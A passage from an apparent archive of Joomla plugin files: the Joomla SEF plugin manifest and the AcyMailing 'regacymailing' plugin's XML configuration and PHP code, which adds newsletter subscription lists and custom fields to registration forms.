		JLog::add(__METHOD__ . ' is deprecated, no replacement.', JLog::WARNING, 'deprecated');

		$url   = $matches[1];
		$url   = str_replace('&amp;', '&', $url);
		$route = JRoute::_('index.php?' . $url);

		return 'href="' . $route;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                        system/sef/sef.xml                                                                                  0000705                 00000002040 15242051521 0010133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_sef</name>
	<author>Joomla! Project</author>
	<creationDate>December 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEF_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sef">sef.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_sef.ini</language>
		<language tag="en-GB">en-GB.plg_system_sef.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="domain"
					type="url"
					label="PLG_SEF_DOMAIN_LABEL"
					description="PLG_SEF_DOMAIN_DESCRIPTION"
					hint="https://www.example.com"
					filter="url"
					validate="url"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                system/regacymailing/regacymailing.xml                                                              0000705                 00000025624 15242051521 0014244 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>AcyMailing : (auto)Subscribe during Joomla registration</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Automatically subscribe the user to AcyMailing during the Joomla registration process</description>
	<files>
		<filename plugin="regacymailing">regacymailing.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
		<param name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
		<param name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
		<param name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
			<option value="dispall">Display one checkbox per list</option>
			<option value="onecheck">Group the lists into one checkbox</option>
			<option value="dropdown">Display the lists in a dropdown</option>
		</param>
		<param name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
        <param name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
            <option value="0">Delete AcyMailing user</option>
            <option value="1">Keep AcyMailing user</option>
        </param>
        <param label="Excluded components" name="excluded" size="50" type="text" value="" description="Acy won't display the subscription lists on the components you exclude with this option. Each value should be separated by a coma, here are the possible values: com_user, com_users, com_alpharegistration, com_ccusers, com_community, com_extendedreg, com_gcontact, com_hikashop, com_jblance, com_jshopping, com_juser, com_mijoshop, com_osemsc, com_redshop, com_tienda, com_virtuemart." />
		<param name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
    </params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
				<field name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
				<field name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
				<field name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
				<field name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
					<option value="dispall">Display one checkbox per list</option>
					<option value="onecheck">Group the lists into one checkbox</option>
					<option value="dropdown">Display the lists in a dropdown</option>
				</field>
				<field name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
                <field name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
                    <option value="0">Delete AcyMailing user</option>
                    <option value="1">Keep AcyMailing user</option>
                </field>
                <field label="Excluded components" name="excluded" type="checkboxes" description="Acy won't display the subscription lists on the components you exclude with this option">
                    <option value="com_user">com_user</option>
                    <option value="com_users">com_users</option>
                    <option value="com_alpharegistration">com_alpharegistration</option>
                    <option value="com_ccusers">com_ccusers</option>
                    <option value="com_community">com_community</option>
                    <option value="com_extendedreg">com_extendedreg</option>
                    <option value="com_gcontact">com_gcontact</option>
                    <option value="com_hikashop">com_hikashop</option>
                    <option value="com_jblance">com_jblance</option>
                    <option value="com_jshopping">com_jshopping</option>
                    <option value="com_juser">com_juser</option>
                    <option value="com_mijoshop">com_mijoshop</option>
                    <option value="com_osemsc">com_osemsc</option>
                    <option value="com_redshop">com_redshop</option>
                    <option value="com_tienda">com_tienda</option>
                    <option value="com_virtuemart">com_virtuemart</option>
                </field>
				<field name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                            system/regacymailing/regacymailing.php                                                              0000705                 00000125306 15242051521 0014231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemRegacymailing extends JPlugin{
	var $option = '';
	var $view = '';
	var $installed = false;

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')) return;
		$this->installed = true;
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function onAfterRoute(){
		if(!$this->installed) return true;

		if(!empty($_POST['option']) && $_POST['option'] == 'com_virtuemart' && !empty($_POST['func']) && $_POST['func'] == 'shopperupdate'){
			$this->_updateVM();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_community' && !empty($_REQUEST['task']) && ($_REQUEST['task'] == 'register_save' || $_REQUEST['task'] == 'save')){
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_jblance' && !empty($_REQUEST['layout']) && in_array($_REQUEST['layout'], array('showfront', 'planadd'))){
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && in_array($_REQUEST['option'], array('com_user', 'com_users')) && !empty($_REQUEST['view']) && in_array($_REQUEST['view'], array('register', 'registration', 'profile', 'user'))){
			$fieldsClass = acymailing_get('class.fields');
			$fieldsClass->origin = 'joomla';
			$user = new stdClass();

			$taskVar = ACYMAILING_J16 ? 'layout' : 'task';

			if(acymailing_isAdmin()){
				if($_REQUEST['view'] == 'user' && !empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit'){
					$extraFields = $fieldsClass->getFields('joomlaprofile', $user);
				}
			}else{
				if(in_array($_REQUEST['view'], array('register', 'registration'))){
					$extraFields = $fieldsClass->getFields('frontjoomlaregistration', $user);
				}elseif(in_array($_REQUEST['view'], array('user', 'profile')) && (!empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit')){
					$extraFields = $fieldsClass->getFields('frontjoomlaprofile', $user);
				}
			}

			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					if($oneField->type != 'date') continue;
					JHTML::_('behavior.calendar');
					break;
				}
			}
		}
	}

	private function _saveInSession(){
		$acysub = acymailing_getVar('array', 'acysub', array(), '');
		$session = JFactory::getSession();
		if(!empty($acysub)){
			$session->set('acysub', $acysub);
		}

		$acysubhidden = acymailing_getVar('string', 'acysubhidden');
		if(!empty($acysubhidden)){
			$session->set('acysubhidden', $acysubhidden);
		}

		$regacy = acymailing_getVar('array', 'regacy', array(), '');
		if(!empty($regacy)){
			$session->set('regacy', $regacy);
		}
	}

	private function _updateVM(){
		$currentUserid = acymailing_currentUserId();
		if(empty($currentUserid)) return;

		$acylistsdisplayed = acymailing_getVar('string', 'acylistsdisplayed_dispall').','.acymailing_getVar('string', 'acylistsdisplayed_onecheck');
		if(strlen($acylistsdisplayed) < 2) return;
		$listsDisplayed = explode(',', $acylistsdisplayed);
		acymailing_arrayToInteger($listsDisplayed);
		if(empty($listsDisplayed)) return;

		$userClass = acymailing_get('class.subscriber');

		$subid = $userClass->subid($currentUserid);
		if(empty($subid)) return; //The user should already be there

		$visiblelistschecked = acymailing_getVar('array', 'acysub', array(), '');
		$acySubHidden = acymailing_getVar('string', 'acysubhidden');
		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$formLists = array();
		foreach($listsDisplayed as $listidDisplayed){
			$newlists = array();
			$newlists['status'] = in_array($listidDisplayed, $visiblelistschecked) ? '1' : '-1';
			$formLists[$listidDisplayed] = $newlists;
		}

		$userClass->saveSubscription($subid, $formLists);
	}

	function _getVmVersion(){
		$file = ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'version.php';
		if(!file_exists($file)) return '0.0.0';
		include_once($file);
		$vmversion = new vmVersion();
		if(empty($vmversion->RELEASE)){
			return vmVersion::$RELEASE;
		}else{
			return $vmversion->RELEASE;
		}
	}

	function onAfterRender(){
		if(!$this->installed) return true;

		$option = acymailing_getVar('cmd', 'option', '', 'GET');
		if(empty($option)) $option = acymailing_getVar('cmd', 'option');

		if(empty($option)) return;
		$this->option = $option;

		$this->components = array();
		$this->components['com_user'] = array('view' => array('register', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => array('password2', 'password'), 'displayBackend' => true, 'displayLoggedin' => true);
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '1.6.0', '>=')){
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('jform[email2]', 'jform[email]'), 'password' => 'jform[password2]', 'displayBackend' => true, 'displayLoggedin' => true, 'checkLayout' => array('profile' => 'edit'));
		}else{
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => 'password2', 'displayBackend' => true, 'displayLoggedin' => true, 'tdfieldlabelclass' => 'key', 'tdclassfield' => 'key');
		}

		$this->components['com_alpharegistration'] = array('view' => array('register'), 'lengthafter' => 250);
		$this->components['com_ccusers'] = array('view' => array('register'), 'lengthafter' => 500);
		$this->components['com_community'] = array('view' => array('register', 'profile'), 'edittasks' => array('profile'), 'lengthafter' => 500, 'password' => 'jspassword2', 'email' => 'jsemail', 'displayLoggedin' => true, 'fieldclass' => 'form-field', 'labelclass' => 'form-label', 'tdclassfield' => 'paramlist_key', 'tdclassvalue' => 'paramlist_value');
		$this->components['com_extendedreg'] = array('view' => array('register'), 'lengthafter' => 200, 'password' => 'verify-password', 'email' => 'email');
		$this->components['com_gcontact'] = array('view' => array('registration'), 'lengthafter' => 200);
		$this->components['com_hikashop'] = array('view' => array('checkout', 'user'), 'viewvar' => 'ctrl', 'lengthafter' => 500, 'tdclassfield' => 'key', 'email' => 'data[register][email]', 'password' => 'data[register][password2]');
		$this->components['com_jblance'] = array('view' => array('guest'), 'layout' => array('register'), 'lengthaftermin' => 250, 'lengthafter' => 300, 'email' => 'email', 'password' => 'password2');
		$this->components['com_jshopping'] = array('view' => array('register', 'checkout'), 'viewvar' => array('task', 'controller'), 'lengthafter' => 200, 'email' => 'email', 'password' => 'password_2', 'displayLoggedin' => true);
		$this->components['com_juser'] = array('view' => array('user'), 'lengthafter' => 200);
		$this->components['com_mijoshop'] = array('viewvar' => array('route', 'view'), 'view' => array('registration', 'account/register', 'account/edit', 'account/registration'), 'edittasks' => array('account/edit', 'account/registration'), 'displayLoggedin' => true, 'lengthafter' => 500, 'email' => 'email', 'password' => array('confirm', 'password'));
		$this->components['com_osemsc'] = array('view' => array('register'), 'lengthafter' => 200, 'email' => 'oseemail', 'password' => 'osepassword2');
		$this->components['com_redshop'] = array('view' => array('registration'), 'lengthafter' => 200, 'password' => 'password2', 'email' => 'email1');
		$this->components['com_tienda'] = array('view' => array('checkout'), 'lengthafter' => 500, 'email' => 'email_address', 'password' => 'password2');
		$vmViews = array('shop.registration', 'account.billing', 'checkout.index', 'user', 'cart', 'editaddresscart', 'editaddresscheckout');
		if(version_compare($this->_getVmVersion(), '3.0.10', '>=')) $vmViews[] = 'askquestion';
		$this->components['com_virtuemart'] = array('view' => $vmViews, 'displayLoggedin' => true, 'viewvar' => 'page', 'lengthafter' => 500, 'acysubscribestyle' => 'style="clear:both"');

		if($option == 'com_rsform'){
			$formId = acymailing_getVar('cmd', 'formId', '', 'GET');
			if(empty($formId)) $formId = acymailing_getVar('cmd', 'formId');
			$db = JFactory::getDBO();
			if(!empty($formId) && in_array($db->getPrefix().'rsform_registration', $db->getTableList())){
				$db->setQuery('SELECT * FROM #__rsform_registration WHERE form_id = '.intval($formId).' AND published = 1');
				$registration = $db->loadObject();
				if(!empty($registration)){
					$regVar = empty($registration->reg_merge_vars) ? 'vars' : 'reg_merge_vars';
					$registrationVars = unserialize($registration->$regVar);
					$this->components['com_rsform'] = array('view' => array('rsform'), 'lengthafter' => 220, 'lengthaftermin' => 190, 'password' => array('form['.$registrationVars['password2'].']', 'form['.$registrationVars['password1'].']'), 'email' => array('form['.$registrationVars['email2'].']', 'form['.$registrationVars['email1'].']'));
				}
			}
		}

		$excludedComponents = $this->params->get('excluded');
		if(!empty($excludedComponents)){
			if(!ACYMAILING_J16) $excludedComponents = explode(',', $excludedComponents);
			foreach($excludedComponents as $oneComponent){
				unset($this->components[$oneComponent]);
			}
		}

		if(!isset($this->components[$option])) return;
		$viewVar = (isset($this->components[$option]['viewvar']) ? $this->components[$option]['viewvar'] : 'view');
		if(!is_array($viewVar)){
			if(!in_array(acymailing_getVar('string', $viewVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view'))), $this->components[$option]['view'])) return;
			$this->view = acymailing_getVar('string', $viewVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view')));
		}else{
			$isvalid = false;
			foreach($viewVar as $oneVar){
				if(in_array(acymailing_getVar('string', $oneVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view'))), $this->components[$option]['view'])){
					$isvalid = true;
					$this->view = acymailing_getVar('string', $oneVar, acymailing_getVar('string', 'task', acymailing_getVar('string', 'view')));
					break;
				}
			}
			if(!$isvalid) return;
		}

		if(isset($this->components[$option]['layout']) && !in_array(acymailing_getVar('string', 'layout'), $this->components[$option]['layout'])) return;

		if(empty($this->components[$option]['displayBackend'])){
			if(acymailing_isAdmin()) return;
		}
		if(empty($this->components[$option]['displayLoggedin'])){
			$currentUserid = acymailing_currentUserId();
			if(!empty($currentUserid)) return;
		}


		if($option == 'com_community' && in_array(acymailing_getVar('string', 'task'), array('registerAvatar', 'registerProfile'))) return;

		$this->_addFields();
		$this->_addLists();
		$this->_addCSS();
	}

	private function _addFields(){
		if(!acymailing_level(3)) return;

		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;

		if(acymailing_isAdmin()){
			$area = 'joomlaprofile';
		}elseif(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks'])){
			$area = 'frontjoomlaprofile';
		}else{
			$area = 'frontjoomlaregistration';
		}

		$fieldsClass = acymailing_get('class.fields');
		$fieldsClass->origin = 'joomla';
		$user = new stdClass();
		$extraFields = $fieldsClass->getFields($area, $user);

		$newOrdering = array();
		foreach($extraFields as $fieldnamekey => $oneField){
			if(in_array($oneField->namekey, array('name', 'email'))) continue;
			$newOrdering[] = $fieldnamekey;
		}

		if(empty($newOrdering)) return;

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('customfieldsafter', 'email') == "custom"){
			$customFieldAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('customfieldsaftercustom')));
			$after = !empty($customFieldAfter) ? $customFieldAfter : $this->components[$option]['email'];
		}elseif(!empty($this->components[$option][$this->params->get('customfieldsafter', 'email')])){
			$after = $this->components[$option][$this->params->get('customfieldsafter', 'email')];
		}else{
			$after = ($this->params->get('customfieldsafter', 'email') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$allFormats = array();
		$allFormats['tr'] = array('tagfield' => 'tr', 'tagfieldname' => 'td', 'tagfieldvalue' => 'td');
		$allFormats['li'] = array('tagfield' => 'li', 'tagfieldname' => '', 'tagfieldvalue' => 'div');
		$allFormats['div'] = array('tagfield' => 'div', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['p'] = array('tagfield' => 'p', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['dd'] = array('tagfield' => '', 'tagfieldname' => 'dt', 'tagfieldvalue' => 'dd');

		$currentFormat = '';
		foreach($allFormats as $oneFormat => $values){
			if(preg_match('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				$currentFormat = $oneFormat;
				break;
			}
		}

		if(empty($currentFormat) && $severalValueTest){
			$i = 1;
			while(empty($currentFormat) && $i < count($allAfters)){
				foreach($allFormats as $oneFormat => $values){
					if(preg_match('#(name="'.preg_quote($allAfters[$i]).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
						$after = $allAfters[$i];
						$currentFormat = $oneFormat;
						break;
					}
				}
				$i++;
			}
		}

		if(empty($currentFormat)){
			if(JDEBUG) echo 'regAcyMailing plugin, could not find the right format to display the fields...';
			return false;
		}

		$text = '';
		if(!empty($this->components[$option]['labelclass'])){
			$fieldsClass->labelClass = $this->components[$option]['labelclass'];
		}

		if(acymailing_isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = acymailing_getVar('int', 'id', 0);
			}else{
				$currentUserIdArray = acymailing_getVar('array', 'cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)){
					$currentUserId = array_shift($currentUserIdArray);
				}else{
					$currentUserId = 0;
				}
			}
		}else{
			$currentUserId = acymailing_currentUserId();
		}

		if(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks']) && $currentUserId != 0){
			$userClass = acymailing_get('class.subscriber');
			$acyUserData = $userClass->get($userClass->subid($currentUserId));
			if(!empty($acyUserData->email)) $fieldsClass->currentUser = $acyUserData;
		}

		foreach($newOrdering as $fieldName){
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '<'.$allFormats[$currentFormat]['tagfield'].' id="acy'.$fieldName.'" class="acyregfield">';
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldname'].' class="key acyregfieldname'.(!empty($this->components[$option]['tdfieldlabelclass']) ? ' '.$this->components[$option]['tdfieldlabelclass'] : '').'">';
			$text .= $fieldsClass->getFieldName($extraFields[$fieldName]);
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldname'].'>';
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldvalue'].' class="acyregfieldvalue'.(empty($this->components[$option]['fieldclass']) ? '' : ' '.$this->components[$option]['fieldclass']).'" >';
			$fieldValue = (!empty($acyUserData->$fieldName) ? $acyUserData->$fieldName : $extraFields[$fieldName]->default);
			$text .= $fieldsClass->display($extraFields[$fieldName], $fieldValue, 'regacy['.$fieldName.']');
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldvalue'].'>';
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '</'.$allFormats[$currentFormat]['tagfield'].'>';
		}
		$currentUserid = acymailing_currentUserId();
		if(acymailing_isAdmin()){
			if(ACYMAILING_J25){
				$formid = 'user-form';
			}else $formid = 'adminForm';
		}elseif(empty($currentUserid)){
			if(ACYMAILING_J25){
				$formid = 'member-registration';
			}else $formid = 'josForm';
		}else{
			if(ACYMAILING_J25 || (ACYMAILING_J30 && (!JComponentHelper::isInstalled('com_k2') || !JComponentHelper::isEnabled('com_k2')))){
				$formid = 'member-profile';
			}else $formid = 'userform';
		}

		$js = $fieldsClass->prepareConditionalDisplay($extraFields, 'regacy', 'joomlaProfile', $formid);
		$js .= $this->_getAdditionalJs($extraFields);

		if(ACYMAILING_J16) {
			$script = '';
			$fieldsClass = acymailing_get('class.fields');
			foreach($extraFields as $oneField){
				if($oneField->type != 'text' || empty($oneField->options['checkcontent'])) continue;
				$script .= '
						var '.$oneField->namekey.'Test = new RegExp("';
				switch($oneField->options['checkcontent']) {
					case 'number':
						$script .= '^[0-9]*$';
						break;
					case 'letter':
						$script .= '^[A-Za-z\u00C0-\u017F ]*$';
						break;
					case 'letnum':
						$script .= '^[0-9a-zA-Z\u00C0-\u017F ]*$';
						break;
					case 'regexp':
						$script .= $oneField->options['regexp'];
						break;
				}

				if(!empty($oneField->options['errormessagecheckcontent'])){
					$errorMessage = $oneField->options['errormessagecheckcontent'];
				}elseif(!empty($oneField->options['errormessage'])){
					$errorMessage = $oneField->options['errormessage'];
				}else{
					$errorMessage = acymailing_translation_sprintf('FIELD_CONTENT_VALID', $fieldsClass->trans($oneField->fieldname));
				}

				$script .= '");
						if(document.getElementById("field_'.$oneField->namekey.'").value.length > 0 && !'.$oneField->namekey.'Test.test(document.getElementById("field_'.$oneField->namekey.'").value)){
							alert("'.addslashes($errorMessage).'");
							return false;
						}';
			}
			if(!empty($script)){

				if(acymailing_isAdmin()){
					$script = 'if(arguments[0] != "user.cancel"){' . $script . '}';
					if (strpos($body, 'Joomla.submitbutton =') === false) {

						$script = 'Joomla.submitbutton = function(pressbutton) {
										' . $script . '
										Joomla.submitform(pressbutton);
									}';
						$js .= $script;
					} else {
						$body = preg_replace('#(Joomla\.submitbutton =[^{]+\{)#Uis', '$1' . $script, $body, 1);
					}
				}else {
					$currentUserid = acymailing_currentUserId();
					if (empty($currentUserid) && ACYMAILING_J30) {
						$script = 'var regform = document.getElementById("' . $formid . '");
								if(!regform) regform = document.getElementsByName("' . $formid . '")[0];
								var submitbutton = regform.querySelector(\'button[type="submit"]\');
								var oldclick = submitbutton.getAttribute("onclick");
								var newclick = function(){
									' . $script . '
									eval(oldclick);
								}
								submitbutton.onclick = newclick;';
					}else{
						$script = 'var regform = document.getElementById("' . $formid . '");
									if(!regform) regform = document.getElementsByName("' . $formid . '")[0];
									var oldsubmit = regform.getAttribute("onsubmit");
									var newsubmit = function(){
										' . $script . '
										eval(oldsubmit);
									}
									regform.onsubmit = newsubmit;';
					}
					$body = str_replace('</body>', '<script type="text/javascript">' . $script . '</script></body>', $body);
				}
			}
		}

		$body = str_replace('</head>', '<script type="text/javascript">'.$js.'</script></head>', $body);

		$body = preg_replace('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$currentFormat.'>)#Uis', '$1'.$text, $body, 1);
		JResponse::setBody($body);
		return;
	}

	private function _getAdditionalJs($fields){
		$js = '';
		foreach($fields as $oneField){
			if($oneField->type == 'date'){
				if(empty($oneField->options['format'])) $oneField->options['format'] = "%Y-%m-%d";
				$js .= 'document.addEventListener("DOMContentLoaded", function(){Calendar.setup({
						inputField: "field_'.$oneField->namekey.'",
						ifFormat: "'.$oneField->options['format'].'",
						button: "field_'.$oneField->namekey.'_img",
						align: "Tl",
						singleClick: true,
						firstDay: 0
					});});';
			}
		}
		return $js;
	}

	private function _addLists(){
		$option = $this->option;

		$visibleLists = $this->params->get('lists', 'None');
		if($visibleLists == 'None') return;

		$visibleListsArray = array();
		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$isAdmin = acymailing_isAdmin();
		if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
			$allvisiblelists = explode(',', $visibleLists);
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin) && in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
			}
		}elseif(strtolower($visibleLists) == 'all'){
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin)){
					$visibleListsArray[] = $oneList->listid;
				}
			}
		}

		if(empty($visibleListsArray)) return;

		$checkedLists = $this->params->get('listschecked', 'All');
		$userClass = acymailing_get('class.subscriber');

		if(acymailing_isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = acymailing_getVar('int', 'id', 0);
			}else{
				$currentUserIdArray = acymailing_getVar('array', 'cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)) $currentUserId = array_shift($currentUserIdArray);
			}
		}else{
			$currentid = acymailing_currentUserId();
			if(!empty($currentid)){
				$currentUserId = $currentid;
			}
		}

		if(!empty($currentUserId)){
			$currentSubid = $userClass->subid($currentUserId);
